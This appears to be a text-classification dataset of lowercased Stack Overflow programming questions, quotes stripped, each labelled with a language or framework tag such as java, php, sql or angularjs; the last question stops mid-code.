imagemapster plugin is not working when i am rendering image   map and area tag through jquery  i am trying to use imagemapster plugin for my application. it works fine when using static image map in html. but my problem is that  when am rendering image and area tag through jquery  it is not working. i am using web api for getting attributes for image.    here is my script :   <pre><code>$(document).ready(function () {         var iiim =   ;        var url =  http://mobileappapi.azurewebsites.net/api/homeapiimage ;        $.get(url  function (data) {            iiim = data[ bgimg ];            var url =  http://mobileappapi.azurewebsites.net/api/homeapi ;            $.get(url  function (data) {                  $( #map_demo ).prepend( &lt;img  src=   + iiim +    usemap= #usa  id= myimage  style= margin-top:43px; /&gt; )                for (var i = 0; i &lt; data.length; i++) {                     $( #usa_image_map ).append( &lt;area href= #  coords=   + data[i].node_location +    state= n  + i +    shape= rect  title=   + data[i].node_title +    /&gt; )                  }            }   jsonp );         }   jsonp );          $( #myimage ).mapster({             fillcolor:  ff0000              fillopacity: 0.3        });    }); </code></pre>   here is my html code    <pre><code> &lt;body&gt; &lt;div id= map_demo &gt;  &lt;/div&gt;     &lt;map id= usa_image_map  name= usa &gt;     &lt;/map&gt;    &lt;/body&gt; </code></pre>   please help me  thanks.,jquery
how come my two nodes with the same model have different values   i have a angular-template that looks like this:   <pre><code>&lt;div class= radiobutton  ng-repeat= mylabel in field.labels &gt;     &lt;input         type= radio           name= {{field[ key ]}}          value= {{mylabel.label}}           id= {{mylabel.name}}          ng-model= my_radio_button          ng-class= my_radio_button      &gt;     &lt;label for= {{field[ key ]}} &gt;         {{mylabel.label}}     &lt;/label&gt; &lt;/div&gt; </code></pre>   and a scope that looks like this:   <pre><code>{     key:  entry.1602323871       type:  radio       labels:     [         {             name:  media               label:  media          }          {             name:  frilans               label:  frilans          }      ]  } </code></pre>   i expect that once i click the first radio-button  both of theese elements should get the class  media  and once i click the second one  they should both get the class  frilans   because they share the same model  but when i click the media-element that element get the class medida  and when i click on frilans that element get s the class frilans  the class isn t removed when i click the other element either. why,angularjs
hitting f5 after submit the page in asp.net   i have web page with submit button  after submit the page when the user press f5 to refresh the page it ll do the thing which was done by last request.    i have omit this by redirecting again the same page in submit_click function in c# code behind itself.    but i feel it ll create some performance problem when number of user s hit is increase.    i have tried server.transfer also. but both of them is not right solution to protect against the problem.    is there any solution to over come from this problem     thanks to all.,.net
java.lang.classcastexception: java.lang.class cannot be cast to java.lang.string  i have stats method using jpql in jpa maven project   i have got that error while testing in the client project.   <blockquote>    java.lang.classcastexception: java.lang.class cannot be cast to java.lang.string  </blockquote>  <pre><code>public int statdoctorbyspeciality()  {      int  count = 0 ;     query query = em.createquery( select  count(u)  from user as u where u.role like  doctor   group by u.specialite  );      list&lt;object[]&gt; results = query.getresultlist();          for (int i = 0; i &lt; results.size(); i++) {              object[] arr =(object[]) results.get(i);             for (int j = 0; j &lt; arr.length; j++) {                 system.out.print(arr[j] +    );                 count= (int) arr[j] ;              }             }         return count; } </code></pre>,java
concept of using download service in android  i want to create a service to download files in background. i ve seen some samples to do this. when service created it will retrieve array of urls to download  but i want to add dynamically urls to give service and seem i should restart service for getting new urls. does exits better idea to get new urls concurrently for download,android
what is error  and how to solve <blockquote>    08-20 18:42:28.284 8769-8769/com.wordpress.prathamesh99wordpress.www.wifiset e/androidruntime: fatal exception: main                                                                                                  process: com.wordpress.prathamesh99wordpress.www.wifiset  pid: 8769                                                                                                  java.lang.runtimeexception: unable to instantiate application com.android.tools.fd.runtime.bootstrapapplication: java.lang.classnotfoundexception: didn t find class  com.android.tools.fd.runtime.bootstrapapplication  on path: dexpathlist[[zip file  /data/app/com.wordpress.prathamesh99wordpress.www.wifiset-1/base.apk ] nativelibrarydirectories=[/data/app/com.wordpress.prathamesh99wordpress.www.wifiset-1/lib/arm  /vendor/lib  /system/lib]]                                                                                                      at android.app.loadedapk.makeapplication(loadedapk.java:680)                                                                                                      at android.app.activitythread.handlebindapplication(activitythread.java:6395)                                                                                                      at android.app.activitythread.access$1800(activitythread.java:229)                                                                                                      at android.app.activitythread$h.handlemessage(activitythread.java:1887)                                                                                                      at android.os.handler.dispatchmessage(handler.java:102)                                                                                                      at android.os.looper.loop(looper.java:148)                                                                                                      at android.app.activitythread.main(activitythread.java:7325)                                                                                                      at java.lang.reflect.method.invoke(native method)                                                                                                      at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:1230)                                                                                                      at com.android.internal.os.zygoteinit.main(zygoteinit.java:1120)                                                                                                   caused by: java.lang.classnotfoundexception: didn t find class  com.android.tools.fd.runtime.bootstrapapplication  on path: dexpathlist[[zip file  /data/app/com.wordpress.prathamesh99wordpress.www.wifiset-1/base.apk ] nativelibrarydirectories=[/data/app/com.wordpress.prathamesh99wordpress.www.wifiset-1/lib/arm  /vendor/lib  /system/lib]]                                                                                                      at dalvik.system.basedexclassloader.findclass(basedexclassloader.java:56)                                                                                                      at java.lang.classloader.loadclass(classloader.java:511)                                                                                                      at java.lang.classloader.loadclass(classloader.java:469)                                                                                                      at android.app.instrumentation.newapplication(instrumentation.java:1005)                                                                                                      at android.app.loadedapk.makeapplication(loadedapk.java:670)                                                                                                      at android.app.activitythread.handlebindapplication(activitythread.java:6395)                                                                                                       at android.app.activitythread.access$1800(activitythread.java:229)                                                                                                       at android.app.activitythread$h.handlemessage(activitythread.java:1887)                                                                                                       at android.os.handler.dispatchmessage(handler.java:102)                                                                                                       at android.os.looper.loop(looper.java:148)                                                                                                       at android.app.activitythread.main(activitythread.java:7325)                                                                                                       at java.lang.reflect.method.invoke(native method)                                                                                                       at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:1230)                                                                                                       at com.android.internal.os.zygoteinit.main(zygoteinit.java:1120)                                                                                                    suppressed: java.io.ioexception: no original dex files found for dex location (arm) /data/app/com.wordpress.prathamesh99wordpress.www.wifiset-1/base.apk ()                                                                                                      at dalvik.system.dexfile.opendexfilenative(native method)                                                                                                      at dalvik.system.dexfile.opendexfile(dexfile.java:295)                                                                                                      at dalvik.system.dexfile.(dexfile.java:80)                                                                                                      at dalvik.system.dexfile.(dexfile.java:59)                                                                                                      at dalvik.system.dexpathlist.loaddexfile(dexpathlist.java:279)                                                                                                      at dalvik.system.dexpathlist.makepathelements(dexpathlist.java:248)                                                                                                      at dalvik.system.dexpathlist.(dexpathlist.java:120)                                                                                                      at dalvik.system.basedexclassloader.(basedexclassloader.java:48)                                                                                                      at dalvik.system.pathclassloader.(pathclassloader.java:65)                                                                                                      at android.app.applicationloaders.getclassloader(applicationloaders.java:86)                                                                                                      at android.app.applicationloaders.getclassloader(applicationloaders.java:47)                                                                                                      at android.app.loadedapk.getclassloader(loadedapk.java:438)                                                                                                      at android.app.loadedapk.makeapplication(loadedapk.java:663)                                                                                                           ... 9 more                                                                                                   suppressed: java.lang.classnotfoundexception: com.android.tools.fd.runtime.bootstrapapplication                                                                                                      at java.lang.class.classforname(native method)                                                                                                      at java.lang.bootclassloader.findclass(classloader.java:781)                                                                                                      at java.lang.bootclassloader.loadclass(classloader.java:841)                                                                                                      at java.lang.classloader.loadclass(classloader.java:504)                                                                                                           ... 12 more                                                                                                   caused by: java.lang.noclassdeffounderror: class not found using the boot class loader; no stack trace available  </blockquote>,android
how shall i print caller object name inside a class member function   see the example   <pre><code>  class myclass {     public:     void fn() {             // here  i want to print caller object name ( here it is  ***it1***)         }     };       int main() {         myclass it1;         it1.fn();         return 0;    } </code></pre>,c++
sql - joining two source columns to one target column  i have two tables. the first table contains the code number  the second table contains the name corresponding to that code number. the first table has a source code number and a target code number. the second table contains both these code numbers in separate rows. so the tables look like this    table1   <pre><code>|source_code|target_code| |253        |568        | </code></pre>   table2   <pre><code>|code|name | |253 |john | |568 |steve| </code></pre>   i want a result like this:   <pre><code>|source_code|name |target_code|name | |253        |john |568        |steve| </code></pre>   i did this by joining both the tables twice in a single query  as follows:   <pre><code>select a.source_code  b.name  a.target_code  c.name from table1 a join table2 b on a.source_code = b.code join table2 c on a.target_code = c.code </code></pre>   this doesn t look like the best way to handle this query. is there a better way to do this,sql
php define global variables for functions   i want to create an array which is in my function.php code definded so i do not have to transfer the array through my hole code. but it won t work...    this is an example of my function.php:   <pre><code>&lt; php define( titlearray   array());  function foo(){ echo $this-&gt;titlearray; }  function boo(){ array_push($this-&gt;titlearray   hello ); } </code></pre>   but it doesn t work... how can i fix that so that every function has access to the array     greetings,php
change nshttpcookie created time  so i was manually add one cookie like:   <pre><code>-(void)adddomaincookie:(nsstring *)domainname {     nsurl *oururl = [nsurl urlwithstring:self.apibaseurl];     nsarray *ourcookies = [[nshttpcookiestorage sharedhttpcookiestorage] cookiesforurl:oururl];     if (ourcookies.count &gt; 0) {         nshttpcookie *cookie = [ourcookies firstobject];         nsdictionary *properties = cookie.properties;         [properties setvalue:@ domain  forkey:nshttpcookiename];         [properties setvalue:domainname forkey:nshttpcookievalue];         nshttpcookie *domaincookie = [nshttpcookie cookiewithproperties:properties];         nsmutablearray *mutablecookies = [ourcookies mutablecopy];         [mutablecookies addobject:domaincookie];          [[nshttpcookiestorage sharedhttpcookiestorage] setcookies:[mutablecookies copy] forurl:oururl maindocumenturl:nil];     }  } </code></pre>   however  i found the new created cookie s created time is weird:   <pre><code>&lt;nshttpcookie version:0 name: user_id  value: 56377398454919ad5cf642857fa026ce  expiresdate:2018-12-07 10:52:28 +0000 created:2016-02-17 10:52:28 +0000 sessiononly:false domain: my.com  path: /  issecure:false&gt;  &lt;nshttpcookie version:0 name: domain  value: mydomain  expiresdate:2018-12-07 10:52:28 +0000 created:2001-01-01 00:00:01 +0000 sessiononly:false domain: my.com  path: /  issecure:false&gt; </code></pre>   the first cookie has created time 2016-02-17 10:52:28 +0000  but when i call <code>[nshttpcookie cookiewithproperties:properties];</code>  it returns a cookie that created time is 2001-01-01 00:00:01 +0000. what did i miss,ios
embed an video in website that should play from middle  i want to embed an video in my website that should be played from middle(vedio duration:2 mins  want to make it play from 1 min instead of starting) in html,html
finding whether number 4 is prime or not   here is my program  inside <code>for</code> loop <code>math.sqrt(n)</code> - i think here is error.   <pre><code>import java.util.scanner;  public class primenocheck {      public static void main(string[] args) {         scanner s = new scanner(system.in);          system.out.print( enter a number :  );          int n = s.nextint();          if (isprime(n)) {             system.out.println(n +   is a prime number );         } else {             system.out.println(n +   is not a prime number );         }      }      public static boolean isprime(int n) {         if (n &lt;= 1) {             return false;         }          for (int i = 2; i &lt; math.sqrt(n); i++) {             if (n % i == 0) {                 return false;             }         }          return true;     } } </code></pre>,java
how to calculate and store  groupings  in sql  this is a sql conceptual question.    start with  table 1  with a large number of records and a primary key.    add a cross reference table called  table 2  which holds key pairs from table 1.  each key pair means that two records should be in the same group.    how do you quickly calculate those groups assuming a large number of records     example:   <h2>table1</h2>  <pre><code>id    other data --    ---------- a     ... b     ... c     ... d     ... e     ... f     ... </code></pre>  <h2>table 2</h2>  <pre><code>id1    id2 a      b      aka: a is equivalent to b. not a parent/child relationship b      c d      e </code></pre>  <h2>final result</h2>  <pre><code>id    group --    ----- a     1        a  b  &amp; c are in a group b     1 c     1 d     2        d &amp; e are in a group e     2 f     3        f is in a group by itself </code></pre>   keep in mind that there are a large number of records.  fast processing is desirable.  i m not looking for someone to create something from scratch  but tell me if there is already a established technique for doing this sort of thing.  i ve already written something myself  but it seems overly complex.    note: edited for clarification with regard to answer by paul.  table 2 is not a parent / child relationship.  its a relationship of equivalence.,sql
can i embed html formatting inside of a <textarea> tag   if i have a <code>textarea</code> block like so...   <pre><code>&lt;textarea name= mytextarea  cols= 100  rows= 20  readonly=readonly&gt; .. text area content ... &lt;/textarea&gt; </code></pre>   how can i embed html formatted text inside this text block   if i can i had figured the following should work...   <pre><code>&lt;textarea name= mytextarea  cols= 100  rows= 20  readonly=readonly&gt; &lt;b&gt;hello how are you today &lt;/b&gt; &lt;/textarea&gt; </code></pre>   as an example.  but that sentence does not show up as bold.  maybe i m just trying to do something that can t be done,html
what s the difference between   and   when creating strings in php   very basic  but would like to know the difference/security ramifications etc of using   vs.  .    can someone provide an example that explains when to use each one,php
how is memory allocated when passing inherited class as param to a method using this keyword   i am a junior developer and i am not sure if the sample code below is a good practice. i would like to know if there is a performance impact by passing current class instance as a parameter of a method.  also what could be the performance impact by passing it to several methods  please advise on the code below.   <pre><code>class x: y {    z myobject = new z();    myobject.methoda( (y)this); }   class z {     methoda(y y)   {      y.mystream = write element      methodb(ref y)      methodc(ref y)     }    methodb(ref y y)   {      y.mystream = write element     }  }   class y {       public xmltextwriter  mystream = null; } </code></pre>,.net
click the alphabet twice  <pre><code>void password() { int i=0  j; char str[30]  ch; gotoxy (23 10); cout&lt;&lt;  welcome to our project! \n ; delay (800); gotoxy (23 11); cout&lt;&lt;  please enter the password =  ; while ((ch=getch())!=13) { ch=getch(); str[i]=ch; i++; clrscr(); gotoxy (20 20); cout&lt;&lt;  enter password =  ; for (j=0; j&lt;i; j++) cout&lt;&lt;  * ; } str[i]= \0 ; if (strcmp(str  script )!=0) { cout&lt;&lt; endl; cout&lt;&lt;  incorrect password! \n ; cout&lt;&lt;  access denied! \n ; getche(); exit (0); } } </code></pre>   i made this a while back  and i came across a problem. so the problem is that  there are no errors whatsoever when i compile the program and run it. the only issue is that when it asks me to enter the password for the script  i have to press every alphabet twice and it shows up once (for example  password is tols  i have to press it like ttoollss and it shows up as tols). how can i fix it,c++
c# passing list parameter  if i am writing a method that accepts two list parameters like so:   <pre><code>public void modifyyourlistshere(list&lt;myclass1&gt; list1  list&lt;myclass2&gt; list2) {     ...add and remove from the lists } </code></pre>   should i pass these as <code>ref</code> or <code>out</code> if i want the caller to understand that the lists will be modified  or do i just need to document the method  or should the user expect that they might be modified,c#
how to set data on gridview textboxes and combo boxes columns  while setting data on <code>gridview</code> the error thrown is  <code>index was out of range. must be non-negative and less than the size of the collection. parameter name: index</code>   <pre><code>try {     con.open();     sqlcommand cmd = new sqlcommand( gridalldata   con);     cmd.commandtype = commandtype.storedprocedure;     cmd.parameters.add( @order_no   sqldbtype.nvarchar).value = txt_orderno.text;     cmd.executenonquery();     sqldataadapter da = new sqldataadapter(cmd);     datatable dtr =new datatable();     da.fill(dtr);     messagebox.show(  +dtr.rows[0][0].tostring());     for (search = 0; search &lt; dtr.rows.count-1; search++)     {          datagridview1.rows[search].cells[0].value = dtr.rows[search][0].tostring();         datagridview1.rows[search].cells[1].value = dtr.rows[search][1].tostring();         datagridview1.rows[search].cells[2].value = dtr.rows[search][2].tostring();         datagridview1.rows[search].cells[3].value = dtr.rows[search][3].tostring();         datagridview1.rows[search].cells[4].value = dtr.rows[search][4].tostring();         datagridview1.rows[search].cells[5].value = dtr.rows[search][5].tostring();         datagridview1.rows[search].cells[6].value = dtr.rows[search][6].tostring();         datagridview1.rows[search].cells[7].value = dtr.rows[search][7].tostring();         datagridview1.rows[search].cells[8].value = dtr.rows[search][8].tostring();         txt_discount.text = dtr.rows[search][10].tostring();         txt_netamount.text = dtr.rows[search][11].tostring();         datagridview1.rows[search].cells[10].value = dtr.rows[search][12].tostring();         datagridview1.rows[search].cells[9].value = dtr.rows[search][13].tostring();      }   }   catch (exception ex)  {      messagebox.show(ex.message);  }  finally { con.close(); } </code></pre>   can anyone guide me,c#
call menu function in another function  i m trying to call menu function in the main function and let it prompt until the user decides to quit  but seems like it s not giving me response.. i m new at this website coding  let me know if there s anything eg. post format i can improve!    clearkeyboard function:   <pre><code>void clearkeyboard(void) {     int c;     while ((c = getchar()) !=  \n  &amp;&amp; c != eof); } </code></pre>   the function to call menu:   <pre><code>void contactmanagersystem(void) {     int contactchoice;     int done = 1;     char yesno  c;     do {         clearkeyboard();         contactchoice = menu();         switch (contactchoice) {         case 1:             printf( &lt;&lt;&lt; feature 1 is unavailable &gt;&gt;&gt;\n );             break;         case 2:             printf( &lt;&lt;&lt; feature 2 is unavailable &gt;&gt;&gt;\n );             break;         case 3:             printf( &lt;&lt;&lt; feature 3 is unavailable &gt;&gt;&gt;\n );             break;         case 4:             printf( &lt;&lt;&lt; feature 4 is unavailable &gt;&gt;&gt;\n );             break;         case 5:             printf( &lt;&lt;&lt; feature 5 is unavailable &gt;&gt;&gt;\n );             break;         case 6:             printf( &lt;&lt;&lt; feature 6 is unavailable &gt;&gt;&gt;\n );             break;         case 0:             printf( exit the program  (y)es/(n)o:  );             scanf( %c%c   &amp;yesno  &amp;c);             if (yesno ==  y  || yesno ==  y  &amp;&amp; c ==  \n ) {                 done = 0;                 break;             }             else if (yesno ==  n  || yesno ==  n )                 break;         default:             break;         }      } while (done == 1); } </code></pre>   menu function:   <pre><code>int menu(void) {     int done = 1;     int choice;     char c;     do {         printf( contact management system\n );         printf( -------------------------\n );         printf( 1. display contacts\n );         printf( 2. add a contact\n );         printf( 3. update a contact\n );         printf( 4. delete a contact\n );         printf( 5. search contacts by cell phone number\n );         printf( 6. sort contacts by cell phone numbe\n );         printf( 0. exit\n\n );         printf( select an option:&gt;  );         int rtn = scanf( %d%c   &amp;choice  &amp;c);          if (rtn == eof || rtn == 0 || c !=  \n )             clearkeyboard();         else if (choice &gt;= 0 &amp;&amp; choice &lt;= 6 &amp;&amp; c ==  \n )             done = 0;         else {             clearkeyboard();             printf( *** out of range *** &lt;enter a number between 0 and 6&gt;:  );             scanf( %d   &amp;choice);         }     } while (done == 1);      return choice; } </code></pre>   attached image below is where goes wrong  the correct version should do case 1 instead of keep prompt menu again.    <strong>incorrect part</strong>    <a href= https://i.stack.imgur.com/qiugy.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/qiugy.png  alt= enter image description here ></a>    thanks in advance!!!,c
creating a var from data created by another class  i am having problems creating a variable with data from another class. here is what i am doing...   <pre><code> &lt; php   class customers extends controller {        private $foo = $this-&gt;session-&gt;userdata( foo );   } </code></pre>,php
store each char of txt file into array  what i want to do is to read a txt file and store in a struct with a char member  every single char of my file.    here is my code:   <pre><code>typedef struct charclass {   char simbolo;   int freq; } charclass; </code></pre>   this is the significant part of main:   <pre><code> input = fopen( testo1.txt    r );     fseek(input  0  seek_end); //mi posiziono alla fine del file  int dim = ftell(input); //ottengo il puntatore corrente (n char)  fseek(input  0  seek_set); //rimetto il puntatore all inizio del file   char tmpchar;  charclass *car;  car = malloc(dim*sizeof(int));   int i = 0;   while (!feof(input)) {    tmpchar = getc(input);    car[i].simbolo = tmpchar;     printf( \n%c   car[i].simbolo);    car[i].freq++;     i++;  }   </code></pre>   it crashed.    i tryed to search on web but i didn t find an answer.    i tryed to use also fscanf  and strcpy  but i couldnt get it work.    thanks.,c
is there a way i can make a resource call return a promise with angularjs   i have the following code and it returns a promise which is what i need for this call. now i would like to make my call to $resource return a promise but i cannot get it to do what i am needing.   <pre><code>get: function (applicationid) {    return $http({       method:  get         url:  /api/testaccounts/getselect         params: { applicationid: applicationid }    }); } </code></pre>   my resource is coded like this:   <pre><code>var test = $resource( /api/tests   {}  {    savedata: { method:  put  }     deletedata: { method:  delete   params: { testid: 0 } } }); </code></pre>   when i run the following and it correctly returns data into the resp variable. however this is not what i want.   <pre><code> query: function (selectedsubject) {     test.query({ subjectid: selectedsubject }         function (resp) {           var aa = resp;         }     );  } </code></pre>   <strong>q:</strong> i would like to return a promise. is there a way that i can make the $resource instead return a promise like the call $http does  what i am looking for is a promise so i can execute the following calling code:   <pre><code>testservice.query($scope.selectedsubject)    .then(function (result) {       var a = result.data;    }  function (result) {       alert( error: no data returned ); }); </code></pre>,angularjs
html - remove extra pixels from table rows  hy all. i have problem with my basic html code. my task is to combine 4 picture parts without wisible margins. im allowed to use only html code without css elements  and i must use table. my problem is that i can t get rid out of space between rows. i narowed out that border spacing comes from webkit browser table stylesheet. is there a way using only html code to remove this spacing. forgot to mention picture sizes is 3 - 200px x 200px and 1- 600px x 200px    chrome debugger shows that extra 4px is inherited from table stylesheet   <pre><code>table { display: table; border-collapse: separate; border-spacing: 2px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; border-color: gray; } </code></pre>   p.s. if i set picture height= 100%  and width= 100%  than i achieve my goal  but im no shure is this a proper way to do it.      <pre><code>&lt;!doctype html public  -//w3c//dtd html 4.01//en    http://www.w3.org/tr/html4/strict.dtd &gt;  &lt;html&gt; &lt;head&gt; &lt;title&gt;lr1&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;!--using table without css--&gt; &lt;table bgcolor= green  border= 0px  cellpadding= 0px  cellspacing= 0px &gt; &lt;tbody&gt; &lt;tr&gt;     &lt;td &gt;&lt;img src= p_01.jpg  alt= part 1  width= 200px  height= 200px &gt;&lt;/td&gt;     &lt;td &gt;&lt;img src= p_02.jpg  alt= part 2  width= 200px  height= 200px &gt;&lt;/td&gt;     &lt;td &gt;&lt;img src= p_03.jpg  alt= part 3  width= 200px  height= 200px &gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr &gt;     &lt;td colspan= 3 &gt;         &lt;a href= http://en.wikipedia.org/wiki/swan  target= _blank &gt;&lt;img src= p_04.jpg  alt= part 4  width= 600px  height= 200px &gt;         &lt;/a&gt;     &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt; &lt;/table&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,html
why error  wrong parameter count for strstr()   <pre><code>function splitsection($string $start $end) {     return strstr( substr( $string  strpos( $string  $start) + strlen( $start))  $end  true); } </code></pre>   i get the following error for some reason:   <pre><code>warning: wrong parameter count for strstr() </code></pre>   any ideas,php
exception in socketopenofficeconnection <pre><code>file file = new file((new stringbuilder()).append(s2).append(file.separator).append(s1).tostring());  file.renameto(new file((new stringbuilder()).append(s2).append(file.separator).append( $$tsjoof$$.ppt ).tostring()));  socketopenofficeconnection socketopenofficeconnection = new socketopenofficeconnection(); </code></pre>   i am importing <code>.ppt</code> file but it is giving an exception on <code>socketopenofficeconnection</code> as:   <pre><code>exception in thread  awt-eventqueue-0  java.lang.noclassdeffounderror: org/apache/poi/poidocument caused by: java.lang.classnotfoundexception: org.apache.poi.poidocument  exception in thread  awt-eventqueue-0  java.lang.noclassdeffounderror: org/slf4j/loggerfactory caused by: java.lang.classnotfoundexception: org.slf4j.loggerfactory </code></pre>   i have also imported <code>poi-2.5.1.jar poi-scratchpad-3.1-final.jar ridl-2.4.1.jar xbean-1.0.3.jar</code> please give me some solution for that.,java
appending to $(this)  within a function loop  i need to traverse further into the dom.   <pre><code>$( .panel_wrapper .panel ).each(function(index) {    // how can i append to this.  for instance another class =  foo     $(this) .foo  /* does not work */ </code></pre>   this is similar to what i m trying to do in a function   <pre><code>$(this) = $( .panel_wrapper .panel ); $(this) .foo </code></pre>   the following is a better example:   <pre><code>$( .panel-wrapper .panel ).each(function(index) {   $( .panel-wrapper .panel:eq(  + index +  ) .collection_alt_thumbs img:eq(0) ).css({ border-color  :  #9b9b9b    opacity  : 1});            });  </code></pre>   within the function there are additional operations that will be performed  not necessary after the first operation but after a conditional statement.  can the following be performed:   <pre><code>$( .panel-wrapper .panel ).each(function(index) {    $(this)  ( .collection_alt_thumbs img:eq(0) ).css({ border-color  :  #9b9b9b    opacity  : 1});      // conditional statement     $(this) /* some other element */  });  </code></pre>,jquery
memory management ios/arc  i am reading some book (<a href= http://rads.stackoverflow.com/amzn/click/0321821521  rel= nofollow >link</a>) which says following: <em> all this automatic clean-up and memory recycling occurs simply by setting <code>items</code> to nil. that’s the power of arc. </em>. this is said about following code:   <pre><code>    // create array     nsmutablearray *items = [[nsmutablearray alloc] init];        // add random bnritems to the array     for (int i = 0; i &lt; 10; i++) {         bnritem *p = [bnritem randomitem];           [items addobject:p];       }      // print items in array     for (bnritem *item in items) {         nslog(@ %@   item);     }        items = nil; </code></pre>   it basically briefly explains how by setting <code>items = nil</code> all objects above get destroyed correctly. my question is:    <ul> <li>say i am using arc  and <em>i don t</em> set <code>items = nil</code> - does this mean i will have memory leak </li> </ul>   i tested by overriding dealloc of bnritem and printing some info  dealloc seems to be called properly on all bnritems even if i don t set <code>items = nil</code>.,objective-c
how to make an email signature responsive   how to make an email signature responsive     i tried the code below  but i don t want to use the table tag. can anyone help me by providing an alternate solution. thank you.    <pre><code>&lt;style&gt; @media only screen and (max-device-width: 620px) { table[id= outer ] { max-width: 600px; width: 20%; }  img[id= header ] { max-width: 600px; width: 40%; height: auto; } td[class= content ] { font-size: 18px; } } &lt;/style&gt; &lt;table id= outer  cellpadding= 0  align= left &gt; &lt;tbody&gt; &lt;tr&gt;&lt;td&gt;&lt;img id= header  src= download.png  alt= img &gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td colspan= 2  class= content &gt;&lt;span style= color: #914400; font-size: large; font-weight:    bold; &gt;karuna&lt;/span&gt;&lt;br /&gt;&lt;span style= font-size: medium; &gt;dev / abc&lt;/span&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td class= content  &gt; &lt;/td&gt; &lt;td class= content &gt;&lt;span&gt;pamplemousses&lt;/span&gt;&lt;br /&gt;&lt;span &gt;&lt;span &gt;t&lt;/span&gt;: 57678767&lt;br /&gt;     &lt;span&gt;w&lt;/span&gt;: abc.com&lt;/span&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td colspan= 2 &gt; &lt;/td&gt; &lt;/tr&gt;  &lt;tr&gt; &lt;td class= content  style= border-top: 1px solid #cccccc;  colspan= 2 &gt;&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt; &lt;/table&gt; </code></pre>,html
how to make the 2 if statement work the right way   my if statement is not working properly it keeps on calling the second if statement. the system.out.println in the first if statement keeps going to the second if statement. what should i do     <pre><code>public class story {      public static void main(string[] args) {         console console = system.console();          string howareyou = console.readline( how are you today sir/madam :   );          if (howareyou.equals( happy ) || howareyou.equals( good ))             ;         {             system.out.print( that s awesome to know that you don t have a bad day.bye!\n );             system.exit(0);         }          string sad = console.readline( o my why are you having a bad day :  );         if (howareyou.equals( sad ) || howareyou.equals( bad )) {             system.out.print( o my why are you having a bad day \n );         }     } } </code></pre>,java
angular - binding data a form  i have a form that <code>post</code> all data that is entered  when saving.  but when i refresh the page  not all entries are bound to their respective input fields.    it is a bit strange because i am using <code>ng-model</code> on all the fields.    here is an example of what doesn t bind:   <pre><code>&lt;input name= full_name  ng-model= user.full_name  type= text  required&gt;&lt;/input&gt; </code></pre>   and here is one that does bind:   <pre><code>&lt;input name= address  ng-model= user.address  type= text  required&gt;&lt;/input&gt; </code></pre>   has anyone run into this issue  or notice something i may be missing,angularjs
send data from iphone app to mac desktop app  i have an iphone app that when touching a button should push a text to a mac desktop app. on that mac app when touching a button (or instantly) it should show that text.    what steps would be invloved in this  i mean the networking part.    any tutorials you can share     thanks,iphone
implement 2 cancel button in a segue  i have a view controller with 2 different segues that goes to 2 different view controller and i have to implement the cancel button in both the controllers.when i press the cancel button in both the controller the view will return to the initial view controller.my question is how can i implement the buttons when i try with this code the compiler warning:multiple declaration of method  cancel:  found and ignored.thank you.    interface:   <pre><code>-(ibaction)cancel:(uistoryboardsegue *)segue;     -(ibaction)done:(uistoryboardsegue *)segue;     -(ibaction)cancel:(uistoryboardsegue *)segue; </code></pre>   implementation:   <pre><code>-(ibaction)done:(uistoryboardsegue *)segue     {     if([[segue identifier] isequaltostring:@ returninput ]){                     addsightingviewcontroller *addcontroller = [segue sourceviewcontroller];                     if (addcontroller.birdsighting) {              [self.datacontroller              addbirdsightingwithsighting:addcontroller.birdsighting];              [[self tableview]reloaddata];                         }                     [self dismissviewcontrolleranimated:yes completion:null];     } }   -(ibaction)cancel:(uistoryboardsegue *)segue     {             if([[segue identifier] isequaltostring:@ cancelinput ]){                     [self dismissviewcontrolleranimated:yes completion:null];                 } } </code></pre>,ios
comparing two passwords php  here s my code it seems to work fine  how ever it doesn t look right. i know i m vulnerable to injections. just want to know if the this  is the best way of comparing two passwords     <pre><code>if (empty($_post[ password ])) {     $errors[] =  please enter a password ; } else {     if ($_post[ password ] != $_post[ password1 ]) {         $errors[] =  your password did not match the confirmed password ;     } else {         $p = $_post[ password ];     } } </code></pre>,php
encrpyt/decrypt password in android application  what is the best way / method that can be used to encrpyt password in an android application     my program requires user to register. so do i encrpyt the password in my android and post it to php to store or should i post it to php then encrpyt at the server side     plus  my program allows user to retrieve their password. how do i handle them,android
undefined reference to studaverage  i am facing a problem on reference in c++  i am about to calculate the average of class marks  now i am stuck with the error. my class in filename classaverage.h is   <pre><code>#ifndef classaverage_h_included #define classaverage_h_included  #include &lt;iostream&gt; #include &lt;vector&gt; using namespace std;  class studaverage { public: void test(); void sdetails(); double avgmarks(vector&lt;double&gt; testmarks); //  void getstudentwithlowmarks(vector&lt;string&gt; names   vector&lt;double&gt; marks); // void getstudentwithhighmarks(vector&lt;string&gt; names   vector&lt;double&gt; marks);  private: string sname; double savg; double cavg; double totalmarks; };  #endif </code></pre>   my class implementation code in classaverageimpl.cpp is   <pre><code>#include &lt;iostream&gt; #include  classaverage.h  #include &lt;vector&gt;  using namespace std;  void studaverage :: test(){ cou&lt;&lt; :: &lt;&lt;endl; }  void studaverage :: sdetails(){ // sname = name; //savg =  testmarks; cout&lt;&lt; gggg &lt;&lt;endl; cout&lt;&lt; enter the list &lt;&lt;endl; }  double studaverage :: avgmarks(vector&lt;double&gt; testmarks){ int sum=0; double classavg; for(int i=0;i&lt;testmarks.size();i++){     sum+=testmarks[i]; } classavg = (sum/testmarks.size())*100; cout&lt;&lt; the ave :: &lt;&lt;classavg; return classavg; } </code></pre>   my main program in main.cpp is   <pre><code> #include &lt;iostream&gt;  #include &lt;vector&gt;  #include  classaverage.h   #include &lt;string&gt;   using namespace std;   int main()  {  studaverage stud; int scount i; string name; double marks; vector&lt;double&gt; smarks; smarks.clear(); vector&lt;string&gt; sname(10); sname.clear(); cout &lt;&lt;  hello world!  &lt;&lt; endl; cout&lt;&lt; enter num of students in the class &lt;&lt;endl; 